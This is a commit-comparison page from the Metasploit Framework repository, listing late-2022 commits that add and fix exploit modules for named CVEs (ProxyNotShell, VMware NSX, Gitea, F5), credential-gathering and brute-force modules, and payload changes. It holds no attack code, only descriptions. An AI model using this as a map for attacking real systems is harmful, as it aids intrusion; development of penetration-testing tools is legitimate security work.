Compare commits

..

293 Commits

Author SHA1 Message Date
Metasploit 28cf7ea55c automatic module_metadata_base.json update 2022-12-08 10:13:08 -06:00
Spencer McIntyre dd3decb436 Land #17342, Use LDAP_SERVER_SD_FLAGS_OID flag
Use LDAP_SERVER_SD_FLAGS_OID flag to prevent retrieving SACL as a non-admin user
2022-12-08 10:47:55 -05:00
Spencer McIntyre 2fc8b0a7a6 Add GitHub refereces to the patch details 2022-12-08 10:47:44 -05:00
Grant Willcox e7b20ad155 Add in monkey patch to the search method of Net::LDAP::Connection to allow us to use controls when search whilst we await an upstream patch in Net::LDAP 2022-12-07 15:17:52 -06:00
Jeffrey Martin 115946cd06 Land #17339, Weekly dependency updates for Gemfile.lock 2022-12-07 15:13:39 -06:00
Grant Willcox 77bda68932 Add in more constants for the SCAL flags and use them to make the code easier to read 2022-12-07 10:48:07 -06:00
Grant Willcox e7d72e0ecf Allow multiple controls to be specified 2022-12-06 23:21:48 -06:00
Grant Willcox fd8bdf4daf Make sure we use the LDAP_SERVER_SD_FLAGS_OID flag and set it to 7 when retrieving entries so that we don't retrieve the SACL, which cannot be retrieved by nonadmin users. 2022-12-06 22:54:03 -06:00
Metasploit 8fbb4d2fde automatic module_metadata_base.json update 2022-12-06 09:03:45 -06:00
Christophe De La Fuente e7e2849f6d Land #17183, Zimbra fixes 2022-12-06 15:38:37 +01:00
Christophe De La Fuente ddaf5a3f0d Remove unecessary return statement 2022-12-06 15:07:28 +01:00
Metasploit ef31ab861f automatic module_metadata_base.json update 2022-12-06 07:27:30 -06:00
Christophe De La Fuente aaef7726db Land #17330, Fix enumerating emails via ProxyShell 2022-12-06 14:02:53 +01:00
Metasploit 009fd0deb5 automatic module_metadata_base.json update 2022-12-05 15:30:44 -06:00
Grant Willcox d48319a867 Land #17242, Add Gather Module for WP BookingPress Plugin unauth SQLi (CVE-2022-0739) 2022-12-05 15:04:31 -06:00
Grant Willcox 89009fa66e Bump dependency versions 2022-12-05 14:48:02 -06:00
Grant Willcox cb68c255bb Fix up issues from review 2022-12-05 14:17:43 -06:00
Redouane NIBOUCHA 4b008d6ea8 revert the identify_hash line 2022-12-05 14:17:39 -06:00
Redouane NIBOUCHA 41edc92d5d Update wp_bookingpress_category_services_sqli to use the SQLi library 2022-12-05 14:17:31 -06:00
Grant Willcox 1fec75621c Fix up documentation from review 2022-12-05 14:04:22 -06:00
Jack Heysel f29b4fad75 Add Gather Module for WP BookingPress Plugin SQLi (CVE-2022-0739) 2022-12-05 14:04:03 -06:00
Metasploit e08b426537 automatic module_metadata_base.json update 2022-12-05 13:19:21 -06:00
bwatters 37540572e0 Land #17214, add database functionality to vcenter post module
Merge branch 'land-17214' into upstream-master
2022-12-05 12:50:14 -06:00
Metasploit 2e4be42f57 automatic module_metadata_base.json update 2022-12-05 09:55:47 -06:00
bwatters 54cd055276 Land #17286, CVE-2021-22015 vCenter priv esc
Merge branch 'land-17286' into upstream-master
2022-12-05 09:31:01 -06:00
Metasploit 085456eeaf automatic module_metadata_base.json update 2022-12-05 08:07:19 -06:00
Christophe De La Fuente 6e7d4edf02 Land #16990, Syncovery for Linux - Login brute-force utility 2022-12-05 14:39:29 +01:00
cgranleese-r7 8e9e8468f2 Land #17338, Lint modules 2022-12-05 13:17:40 +00:00
adfoster-r7 7a46cff0a1 Land #17305, Adds support to RPC for automatically choosing module payload defaults 2022-12-05 12:59:21 +00:00
Metasploit dc604f1fcf automatic module_metadata_base.json update 2022-12-05 06:31:39 -06:00
cgranleese-r7 4e539df3c3 Adds support to find default payloads 2022-12-05 11:52:11 +00:00
adfoster-r7 0d3c1dc122 Land #17333, Fix typos: Replace 'the the' with 'the' 2022-12-05 11:46:27 +00:00
adfoster-r7 a4aff6537d Land #17332, enum_proxy - Cleanup and support non-Meterpreter sessions 2022-12-05 11:43:55 +00:00
adfoster-r7 14d05c9c6c Lint modules 2022-12-05 10:41:31 +00:00
bcoles c1ff9337c8 dnn_cookie_deserialization_rce: Remove empty 'Payload' Hash key 2022-12-04 17:50:24 +11:00
bcoles 431804ef15 Fix typos: Replace 'the the' with 'the' 2022-12-04 17:41:24 +11:00
bcoles d90dee8235 enum_proxy: Cleanup and support non-Meterpreter sessions 2022-12-04 15:10:47 +11:00
Spencer McIntyre 96da805014 Fix enumerating emails via ProxyShell
The ResolveNames endpoint used to gather emails addresses for targeting
only returns 100 at a time. This updates the module to check if the
search result contains all entries and when it does, it recurses into
itself with a refined search prefix. All results are returned to match
the original functionality instead of enumerating and halting once one
that's suitable for exploitation has been found.
2022-12-02 15:58:50 -05:00
whoot b32ec581d8 apply suggestions 2022-12-02 10:33:25 +01:00
Metasploit 364fb85e1d automatic module_metadata_base.json update 2022-12-01 16:30:42 -06:00
Jack Heysel 271588bde9 Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-12-01 17:06:48 -05:00
Jack Heysel 04dc8e8455 Land #17310, update checkvm post module
Add notes and add powershell to supported SessionTypes
2022-12-01 17:05:09 -05:00
Metasploit a649c5b9d1 automatic module_metadata_base.json update 2022-12-01 15:54:53 -06:00
h00die 7ec7cdfb97 fix vcenter spec error 2022-12-01 16:43:58 -05:00
adfoster-r7 4207449382 Land #17323, fix enlightenment check method 2022-12-01 20:26:16 +00:00
h00die 867059efe5 add super to cleanup command 2022-12-01 14:55:43 -05:00
h00die 62b484fdc7 blank over empty 2022-12-01 14:34:09 -05:00
Metasploit fbc842693f Bump version of framework to 6.2.30 2022-12-01 12:10:26 -06:00
Metasploit 03bb062c2e automatic module_metadata_base.json update 2022-12-01 09:50:22 -06:00
bwatters dcff4d37b6 Land #17163, Pfsense PfBlockerNG RCE module check method improvement
Merge branch 'land-17163' into upstream-master
2022-12-01 09:25:18 -06:00
Metasploit b9c18de4fe automatic module_metadata_base.json update 2022-11-30 16:55:15 -06:00
adfoster-r7 13ab155545 Land #17322, fix OpoenOffice description typo 2022-11-30 22:31:53 +00:00
h00die 039b611fae fix enlightenment check method 2022-11-30 17:06:50 -05:00
Maik Ro 330cb2944b fix typo
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) -> OpoenOffice changed to OpenOffice
2022-11-30 22:10:18 +01:00
Metasploit 07a91df7a1 automatic module_metadata_base.json update 2022-11-30 11:43:21 -06:00
Christophe De La Fuente d3057f15b2 Land #17275, Add Exploit For CVE-2022-41082 (ProxyNotShell) 2022-11-30 18:16:19 +01:00
bcoles 60180a4442 checkvm: Add notes and add powershell to supported SessionTypes 2022-11-29 21:28:15 +11:00
Metasploit 35bbfc8af4 automatic module_metadata_base.json update 2022-11-28 15:47:01 -06:00
Spencer McIntyre 8ea8e2410d Land #17299, Fixes #17227
Fixes #17227 - polkit_dbus_auth_bypass module when run from a command…
2022-11-28 16:22:52 -05:00
Metasploit 8a66a359a6 automatic module_metadata_base.json update 2022-11-28 15:16:21 -06:00
Jack Heysel 5d3cfa69b8 Land #17210, add ParseError rescue to snmp modules
snmp_enum, snmp_enumshares and snmp_enumusers now rescue
SNMP ParseErrors
2022-11-28 15:37:02 -05:00
bwatters 3462dc6bf4 Land #17087, remote control collection rce
Merge branch 'land-17087' into upstream-master
2022-11-28 14:29:52 -06:00
Spencer McIntyre 264d45e04a Appease rubocop 2022-11-28 10:16:55 -05:00
Spencer McIntyre f24df8a051 Change an exception class and drop DOMAIN passing 2022-11-28 10:06:14 -05:00
Spencer McIntyre 009c6c5350 Add the MaxBackendRetries datastore option 2022-11-28 09:45:04 -05:00
Metasploit c49dd0b6cd automatic module_metadata_base.json update 2022-11-27 14:27:39 -06:00
adfoster-r7 de75f0ecbe Land #17304, added target uri in to "Authorization not requested" error message 2022-11-27 20:04:00 +00:00
omer citak 9aa1a84b3a added target uri in to "Authorization not requested" error message 2022-11-27 15:35:34 +03:00
Ashley Donaldson 638a1c8f78 Prevent double-delimiter situations in general 2022-11-25 15:32:55 +11:00
Ashley Donaldson 25a0d0ff0e Fixes #17227 - polkit_dbus_auth_bypass module when run from a command shell 2022-11-25 15:13:57 +11:00
adfoster-r7 c218063a1a Land #17280, Weekly dependency updates for Gemfile.lock 2022-11-24 23:11:49 +00:00
Metasploit ed954eec0c Bump version of framework to 6.2.29 2022-11-24 12:09:06 -06:00
adfoster-r7 0aa0884e26 Land #17296, add warning about external links 2022-11-24 10:30:44 +00:00
Metasploit c9ba07e3a7 automatic module_metadata_base.json update 2022-11-23 17:20:29 -06:00
Spencer McIntyre 6350daf2d8 Land #17273, F5 exploit module CVE-2022-41800
F5 exploit module CVE-2022-41800 (authenticated RCE in RPM code)
2022-11-23 17:57:18 -05:00
Ron Bowes b7cf112d42 Fix an issue where the session handler would close too early on Zimbra modules 2022-11-23 13:09:47 -08:00
Ron Bowes ffbf8b303a Change a 'return 0' to 'fail_with', per Christophe's request 2022-11-23 12:51:51 -08:00
Ron Bowes 28a68ede8c Merge branch 'master' into zimbra-fixes 2022-11-23 12:50:56 -08:00
Spencer McIntyre 3805a79079 Add support for Exchange Data Access Group (DAG)
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
2022-11-23 15:37:58 -05:00
Jeffrey Martin 453cfc5939 spelling change per review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-11-23 13:26:19 -06:00
Ron Bowes cbb50ed902 Remove non-functioning Arch'es 2022-11-23 10:42:07 -08:00
Jeffrey Martin cb8e023734 add warning about external links
Links to external resources not controlled by the project maintainers
are subject to bitrot and malicious take over. Warnings seem appropriate.
2022-11-23 12:08:05 -06:00
Spencer McIntyre 3f58bfe11e Check that the target is Exchange Server 2019 2022-11-23 10:47:10 -05:00
Spencer McIntyre 45391b1714 Land #17279, ducky-script format for msfvenom
ducky-script format for msfvenom (flipper zero compatible)
2022-11-23 09:05:57 -05:00
h00die b866917ee1 review 2022-11-22 16:57:01 -05:00
Spencer McIntyre 2265370c5f Land #17288, Add #bit_names to MsDtypAccessMask
Support for Windows Access mask to MsDtypAccessMask
2022-11-22 09:01:16 -05:00
Metasploit 0af1f95f5a automatic module_metadata_base.json update 2022-11-22 06:52:15 -06:00
adfoster-r7 6446c1425b Land #17283, enum_psk: Cleanup 2022-11-22 12:28:55 +00:00
adfoster-r7 6c76fd7beb Land #17284, modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-22 11:55:47 +00:00
adfoster-r7 390e58958c Land #17285, tor_hiddenservices - check locate command exists
: Check locate command exists
2022-11-22 11:42:50 +00:00
JustAnda7 28157b677b Support for Access Mask in MsDtypAccess 2022-11-22 04:50:54 -05:00
h00die 637ad5f809 make ducky more psh friendly 2022-11-21 17:55:48 -05:00
h00die 7227bec259 set autocheck false 2022-11-21 15:53:37 -05:00
bwatters 8c9e2c9fc7 Add check method, update hosting IP/port 2022-11-21 15:53:37 -05:00
h00die d141efcbfe screen effects 2022-11-21 15:53:37 -05:00
h00die 181b8e4eea review comments 2022-11-21 15:53:37 -05:00
h00die d4536b24a6 remote control collection rce 2022-11-21 15:53:37 -05:00
Spencer McIntyre de8a396b3a Land #17277, Fix python reverse http stager crash 2022-11-21 12:41:25 -05:00
Spencer McIntyre ed99f2f67f Bypass EEMS M1 2022-11-21 11:13:16 -05:00
h00die 6877304bac exploit for cve-2021-22015 vcenter priv esc 2022-11-20 11:29:49 -05:00
bcoles 651dd68439 tor_hiddenservices: Check locate command exists 2022-11-21 01:07:50 +11:00
bcoles 2dbd2043ec modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-21 00:46:44 +11:00
bcoles ad36f28ec1 enum_psk: Cleanup 2022-11-21 00:28:34 +11:00
h00die 5e93ed3bae explicit check of CVE-2022-22948 2022-11-19 10:37:36 -05:00
h00die 40f97995f8 review comment 2022-11-19 10:37:36 -05:00
h00die f12c660652 review comments 2022-11-19 10:37:36 -05:00
h00die 7a795c5adb docs 2022-11-19 10:37:36 -05:00
h00die 9a19c4411d wrap up module additions 2022-11-19 10:37:36 -05:00
h00die dff9b35d56 add database stuff to vcenter post module 2022-11-19 10:37:36 -05:00
Metasploit 234949bff8 automatic module_metadata_base.json update 2022-11-18 19:52:50 -06:00
Grant Willcox 8ca7550062 Land #17257, Adding exploit for ChurchInfo 1.2.13-1.3.0 RCE (CVE-2021-43258) 2022-11-18 19:27:10 -06:00
Grant Willcox 237eb904d4 Add in fixes for documentation examples and then update the code to fix some bugs 2022-11-18 18:30:07 -06:00
Grant Willcox 713323f2cb Add in Docker setup documentation 2022-11-18 18:22:11 -06:00
Grant Willcox 85a6770973 Add additional checks, a check method, and fix up some doc errors 2022-11-18 18:22:06 -06:00
m4lwhere b9ecdb3bc2 Use TARGETURI, registered cleanup, implment cookie_jar, and perform response checks and documentation 2022-11-18 18:21:27 -06:00
m4lwhere a33a313544 Adding exploit for ChurchInfo 1.3.0 2022-11-18 18:21:08 -06:00
Metasploit 2f2708e3fd automatic module_metadata_base.json update 2022-11-18 16:42:50 -06:00
Spencer McIntyre bc89721d7a Add module docs, fix ProxyShell versions 2022-11-18 17:42:27 -05:00
Jeffrey Martin f6bdbbd359 Weekly dependency updates for Gemfile.lock 2022-11-18 16:24:55 -06:00
space-r7 3d5708e3e6 Land #17271, add f5 big-ip csrf exploit 2022-11-18 16:19:09 -06:00
space-r7 8b30ff3dce remove CmdStager inclusion 2022-11-18 16:18:25 -06:00
h00die 29b7fa5336 ducky_script format for msfvenom 2022-11-18 17:02:52 -05:00
Spencer McIntyre 29d57dde66 Consolidate into ProxyMaybeShell 2022-11-18 17:01:01 -05:00
Spencer McIntyre fc7594dbc8 Add exploit for CVE-2022-41082 AKA ProxyNotShell 2022-11-18 17:00:27 -05:00
Metasploit e43951158c automatic module_metadata_base.json update 2022-11-18 10:40:12 -06:00
bwatters 20e1788d97 Land #17145, Add hashes option and better error handling to wmiexec
Merge branch 'land-17145' into upstream-master
2022-11-18 10:16:33 -06:00
adfoster-r7 7dcf65d7c3 Fix python reverse http stager crash 2022-11-18 14:32:36 +00:00
Metasploit 39da40e4b5 Bump version of framework to 6.2.28 2022-11-17 12:21:32 -06:00
Metasploit 29a4546b07 automatic module_metadata_base.json update 2022-11-17 05:52:06 -06:00
Christophe De La Fuente d1a7170020 Land #17021, Gitea Git fetch RCE module - CVE-2022-30781 2022-11-17 12:28:29 +01:00
Christophe De La Fuente 11541a5774 Add comment for details about the string substitutions on Windows 2022-11-17 12:25:52 +01:00
Ron Bowes 7ebf84c66b Add URLs 2022-11-16 12:20:37 -08:00
Ron Bowes 20e6c1b55e Add URLs 2022-11-16 12:19:16 -08:00
Ron Bowes d0e109b842 Check in exploit module for CVE-2022-41800 2022-11-16 12:04:18 -08:00
Ron Bowes 99e661cfcf Check in exploit script for CVE-2022-41622 (CSRF into SOAP) 2022-11-16 11:58:15 -08:00
Jeffrey Martin 271a2bb6f2 Land #17264, Go 1.11.2 to 1.19.3 in Dockerfile 2022-11-16 12:26:13 -06:00
Spencer McIntyre b4f285d9b2 Land #17243, Improve railgun tlv packet logging
Improve tlv packet logging for railgun
2022-11-16 09:26:07 -05:00
Grant Willcox 15dc37a663 Bump Go version from 1.11.2 to 1.19.3 2022-11-15 10:28:51 -06:00
Grant Willcox 1205356a27 Land #17263, Update metasploit-payloads gem to 2.0.101 2022-11-15 10:03:55 -06:00
krastanoel 1ddc137f1a Update module
- adjust execute_command method and add logic for :win_dropper target
- move cmdstager uripath setting into target case statement
- add more cmdstagerflavour for :linux_dropper target
- fix lint msftidy
2022-11-15 22:30:45 +07:00
krastanoel cbca2a5604 Update modules/exploits/multi/http/gitea_git_fetch_rce.rb
apply suggestion

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-15 22:17:59 +07:00
Spencer McIntyre 836109c02b Update metasploit-payloads gem to 2.0.101
Includes changes from:
  * rapid7/metasploit-payloads#592
  * rapid7/metasploit-payloads#595
2022-11-15 09:52:06 -05:00
Jeffrey Martin fa125e1943 Land #17261, Fix Port Forwarding For Ruby 3 2022-11-15 08:27:00 -06:00
Spencer McIntyre 2459371a47 Print the portfwd relay more descriptively
Closes #17158

This updates the output of the portfwd command to show if it's a forward
(normal) portforward or if it's a reverse port forward where the
compromised host is the one listening.
2022-11-15 08:50:23 -05:00
Metasploit 51310bcec7 automatic module_metadata_base.json update 2022-11-15 07:38:18 -06:00
Christophe De La Fuente 494c9601ca Land #17222, Pre-authenticated Remote Code Execution in VMware NSX Manager using XStream [CVE-2021-39144] 2022-11-15 14:16:14 +01:00
Spencer McIntyre 218e8c2d0c Fix a Ruby 3 syntax issue
Closes #17124

This fixes a Ruby 3 syntax issue in how the parameters are passed. The
issue caused TcpServerChannels to fail to enqueue new client
connections.
2022-11-14 17:01:51 -05:00
Metasploit 6de67cceef automatic module_metadata_base.json update 2022-11-14 15:01:56 -06:00
Grant Willcox 446e19d15b Land #17260, Use the access mask data type 2022-11-14 14:39:29 -06:00
Spencer McIntyre eff9a16e00 Use the access mask data type
Also switch from bit16 to uint16 so it's little endian.
2022-11-14 12:27:38 -05:00
Grant Willcox 068bb59eb8 Land #17253, update wordpress plugins and themes lists 2022-11-14 09:51:17 -06:00
Metasploit af5fe41fa9 automatic module_metadata_base.json update 2022-11-12 17:47:54 -06:00
adfoster-r7 584e120793 Land #17256, minor grammar fix 2022-11-12 23:26:45 +00:00
h00die 59535b6799 remove 'is' 2022-11-12 16:19:50 -05:00
h00die-gr3y 70669f3fea addressed code improvement suggestions 2022-11-12 10:21:43 +00:00
H00die.Gr3y 72080910e7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:22:06 +01:00
H00die.Gr3y 85b4512292 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:55 +01:00
H00die.Gr3y 5d314e5799 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:42 +01:00
H00die.Gr3y 04d6a310af Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:16:46 +01:00
H00die.Gr3y 1ce8695401 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:30 +01:00
H00die.Gr3y e38138d69e Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:17 +01:00
H00die.Gr3y 967388eba7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Agreed !

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:15:42 +01:00
h00die 4c958546b5 update wordpress plugins and themes lists 2022-11-11 10:37:26 -05:00
adfoster-r7 54cb34ac03 Land #17252, Adds error handling for users who do not have git available on their environment 2022-11-11 14:15:16 +00:00
cgranleese-r7 ef28a963bf Adds error handling for users who do not have git available on their machine 2022-11-11 13:33:39 +00:00
Metasploit bcf8c96128 Bump version of framework to 6.2.27 2022-11-10 12:17:58 -06:00
Grant Willcox 02e35a1754 Land #17244, Fix an error when a hostname fails to resolve 2022-11-10 11:07:58 -06:00
Spencer McIntyre 7fa29c4345 Don't bother with the address type
The address is returned in the packed format so it's always a string of
either length 0 (resolution failed), length 4 (IPv4) or length 16
(IPv6).

Anything else is invalid and will actually cause Rex::Socket.addr_ntoa
to throw an error. All meterpreters today return the IP address in one
of those three correct lengths.
2022-11-10 11:13:30 -05:00
Grant Willcox e2a463e26d Land #17177, fix: Handle search terms ending in colons. 2022-11-09 13:32:00 -06:00
Grant Willcox 0be10c5a33 Update code to use .blank? to simplify logic, and to also strip multiple trailing :'s. Update specs accordingly. 2022-11-09 13:00:34 -06:00
nzdjb 78afc01903 Add spec tests. 2022-11-09 09:58:23 -06:00
nzdjb f7b37a533f fix: Handle search terms ending in colons. 2022-11-09 09:58:22 -06:00
Spencer McIntyre 83b3bfa19c Fix an error when a hostname fails to resolve 2022-11-09 08:49:19 -05:00
Metasploit 5892093601 automatic module_metadata_base.json update 2022-11-09 05:47:52 -06:00
adfoster-r7 db3d8f1bbc Improve tlv packet logging for railgun 2022-11-09 11:31:27 +00:00
adfoster-r7 3599221002 Land #17229, add post/multi/recon/reverse_lookup module 2022-11-09 11:28:45 +00:00
krastanoel 645a1c25a3 Update method documentation and indentation 2022-11-09 16:27:31 +07:00
krastanoel 639afebe1e Update module
- handle cleanup method on manual `check`
- adjust targets flavour option
- add :win_dropper target and handle the payload delivery
NOTE: the Windows dropper target is still unsuccessfull but keep this for further review
2022-11-09 16:12:20 +07:00
krastanoel 13bb31feeb Update module
- move repository migration to execute_command.
NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review.
2022-11-09 04:52:18 +07:00
krastanoel bca5138fc8 Update module
- move cleanup process to its own method and handle the response
- remove timeout and http delay option
- adjust target type location as code review suggestion
2022-11-09 01:42:27 +07:00
krastanoel a50cca27e6 remove cookie_jar manipulation 2022-11-09 00:48:23 +07:00
krastanoel 52d867bbc7 follow Ruby coding convetions
- combine gitea_version into get_gitea_version for the check method
- validate empty username
2022-11-09 00:41:30 +07:00
Grant Willcox be1200401a Land #17223, Improves the reload_lib -a commands ability to track modified files 2022-11-08 11:35:20 -06:00
krastanoel c980f4f9ee add more custom error exception 2022-11-09 00:27:12 +07:00
adfoster-r7 57db4fee86 Land #17238, add the shutdown command to windows python meterpreter 2022-11-08 16:14:57 +00:00
Metasploit a0d813e830 automatic module_metadata_base.json update 2022-11-08 09:53:22 -06:00
Spencer McIntyre 65e4e1b76d Land #17221, Fix crash with payload sizes
Fix crash when generating payload sizes
2022-11-08 10:26:27 -05:00
Spencer McIntyre 299a4c4aca Update metasploit-payloads gem to 2.0.99 2022-11-08 09:59:20 -05:00
krastanoel f0b67c8812 fix msftidy 2022-11-08 14:14:45 +07:00
krastanoel 540984804d Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-08 14:09:31 +07:00
Metasploit 449c0f662b automatic module_metadata_base.json update 2022-11-07 18:16:41 -06:00
adfoster-r7 f84113d96e Land #17235, report service_name in ManageEngineDesktopCentral 2022-11-07 23:57:09 +00:00
Metasploit dcdff76f5f automatic module_metadata_base.json update 2022-11-07 16:22:31 -06:00
Grant Willcox 416cf78ae2 Land #17149, Update ssl_version module to be useful 2022-11-07 15:59:50 -06:00
Grant Willcox a6323a4735 Update examples for documentation to reflect recent code changes 2022-11-07 15:10:47 -06:00
Metasploit a54a996263 automatic module_metadata_base.json update 2022-11-07 13:38:36 -06:00
Spencer McIntyre 47097b8d7d Land #17211, Compress Python payloads
Compress Python payloads before base64 encoding
2022-11-07 14:17:05 -05:00
Jeffrey Martin 27e9d9d272 report service_name in ManageEngineDesktopCentral
The scanner now reports the service_name in the `Result` object.
2022-11-07 12:23:59 -06:00
Grant Willcox 455476cfe2 Land #17234, Adds references to info -d command in options and info command outputs 2022-11-07 11:15:41 -06:00
Metasploit 2357d87e8f automatic module_metadata_base.json update 2022-11-07 11:13:11 -06:00
Spencer McIntyre ed7d458f07 Land #17122, Add in ESC Finder Module (ESC1-ESC3) 2022-11-07 11:53:15 -05:00
cgranleese-r7 fa3c277f53 Adds references to info -d command in options and info commands outputs 2022-11-07 16:40:38 +00:00
Spencer McIntyre c1d092b70d Minor tweaks
Filter out enrollable certs by default and print the warning higher. Add
periods to all messages for consistency. Drop the message from
vprint_good to vprint_status when the query works.
2022-11-07 10:37:12 -05:00
Metasploit df4432bd54 automatic module_metadata_base.json update 2022-11-07 05:51:15 -06:00
Christophe De La Fuente 929d4f2fa4 Land #17097, Gather Navicat 2022-11-07 12:30:16 +01:00
Christophe De La Fuente 85137056b9 Use fail_with instead of return 2022-11-07 12:28:10 +01:00
h00die-gr3y da189041b4 randomized endpoint url 2022-11-07 08:16:54 +00:00
llamasoft 1a353ee273 Update Python payloads to have dynamic sizes
While the length of the input payload is always the same size,
it may not always have the same contents due to random checksum
URI and UUID generation.  This leads to payloads whose sizes
can vary by a few bytes between runs.
2022-11-05 15:58:10 -04:00
llamasoft d6e9e1508c Compress Python pingback payloads 2022-11-05 15:49:51 -04:00
llamasoft eb11334f18 Compress python meterpreter payload
The internal AES and RSA implementations use base64+zlib to save space
so it only makes sense that the outer encoding should use it as well.
This reduces the final payload size considerably.
2022-11-05 15:42:45 -04:00
h00die-gr3y bf0ed5b513 fixed some typos in documentation 2022-11-05 15:36:42 +00:00
h00die-gr3y 642a83bd0d Updated module and added documentation 2022-11-05 15:14:31 +00:00
h00die 63d938ddba better docs 2022-11-05 07:48:40 -04:00
h00die cf0910d831 review comments 2022-11-05 07:23:14 -04:00
bcoles 7bf29c0a4e Add post/multi/recon/reverse_lookup 2022-11-05 13:18:35 +11:00
Grant Willcox 79ac775443 Perform updates from code review. 2022-11-04 15:44:28 -05:00
Grant Willcox 6a70087b7a Add in ESC2 and ESC3 attacks, rework code to split things up to support multiple ESC attacks, and make ESC attack filters easier to read by indenting them. Also remove some extra code that wasn't being used 2022-11-04 15:44:24 -05:00
Grant Willcox 8922e5b203 Add in first initial implementation of ESC module and updates to associated libraries. 2022-11-04 15:43:34 -05:00
adfoster-r7 c1e2328b06 Land #17225, Update YARD documentation to use return instead of returns 2022-11-04 17:07:14 +00:00
Grant Willcox 4ae42f9a7c Update YARD documentation to use proper @return instead of @returns 2022-11-04 11:30:45 -05:00
cgranleese-r7 073e91ff93 Improves the reload_lib -a commands ability to track modified files 2022-11-04 14:28:58 +00:00
h00die-gr3y 71d1c971a7 init commit module 2022-11-04 13:31:27 +00:00
adfoster-r7 0d9cca79b4 Fix crash when generating payload sizes 2022-11-04 02:10:58 +00:00
adfoster-r7 772cf99d36 Land #17219, Fix broken zabbix_login scanner regex for new versions 2022-11-03 23:35:18 +00:00
Spencer McIntyre 68b043ceed Land #17220, Fix pe inject payload crash 2022-11-03 16:48:57 -04:00
adfoster-r7 0b2ee36e8a Fix pe inject payload crash 2022-11-03 19:42:17 +00:00
Jack Heysel 2a40c9c89c Fix broken zabbix_login scanner regex for new versions 2022-11-03 13:49:40 -04:00
Metasploit 8388544457 Bump version of framework to 6.2.26 2022-11-03 12:10:55 -05:00
ErikWynter 771b66f570 update fork and rebase feature branch 2022-11-03 12:07:08 +02:00
ErikWynter 0065cff169 add rescuing for SNMP::ParseError to snmp enum modules 2022-11-03 12:04:33 +02:00
h00die c6a8db2c55 review revisions 2022-10-31 22:43:09 -05:00
h00die 39393be901 refinements on ca issuers regex 2022-10-31 22:43:03 -05:00
h00die 1922f24686 ssl_version review comments 2022-10-31 22:43:03 -05:00
Grant Willcox 2b481dce90 Remove auxiliary/scanner/http/ssl.rb and also update the module with some comment like documentation n minor fixes 2022-10-31 22:43:02 -05:00
Grant Willcox 840586afd8 Update documentation with typo fixes 2022-10-31 22:42:52 -05:00
h00die 189e530c91 updated ssl_version 2022-10-31 22:42:40 -05:00
Ron Bowes 4624031aec Remove errant puts 2022-10-25 10:21:47 -07:00
Ron Bowes 4979c0b74f Add a check to the cve-2022-30333 module for Zimbra that aborts before generating artifacts if the server cannot be reached 2022-10-25 10:05:16 -07:00
Ron Bowes ab2042f34e Add patch notes to the Slapper module documentation 2022-10-25 10:04:52 -07:00
Ron Bowes 3ac3fa6c32 Move the Zimbra Slapper doc to the right folder (Windows -> Linux) 2022-10-25 09:51:27 -07:00
Jack Heysel d6f27a8a71 Used vuln to remove test webshell in check method 2022-10-24 14:17:21 -04:00
Jack Heysel 11936affd1 Rubocop 2022-10-19 22:07:50 -04:00
Jack Heysel b60b440697 Check method improvement 2022-10-19 22:03:43 -04:00
Matthew Dunn 4cda8a9d23 Add hashes and better error handling to wmiexec 2022-10-15 16:42:30 -04:00
cn-kali-team e227f1c464 update 2022-10-14 19:57:17 +08:00
三米前有蕉皮 414819f0d1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 09:45:37 +08:00
cn-kali-team f553e6e0f7 update 2022-10-12 21:55:05 +08:00
cn-kali-team d77a965345 update 2022-10-12 21:54:23 +08:00
三米前有蕉皮 bff7d4c320 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:53:26 +08:00
三米前有蕉皮 20015d7351 Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:52:12 +08:00
三米前有蕉皮 13e92407c1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 13:51:45 +08:00
三米前有蕉皮 1c788b797c Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:51:05 +08:00
三米前有蕉皮 2c2d82dd42 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:30:05 +08:00
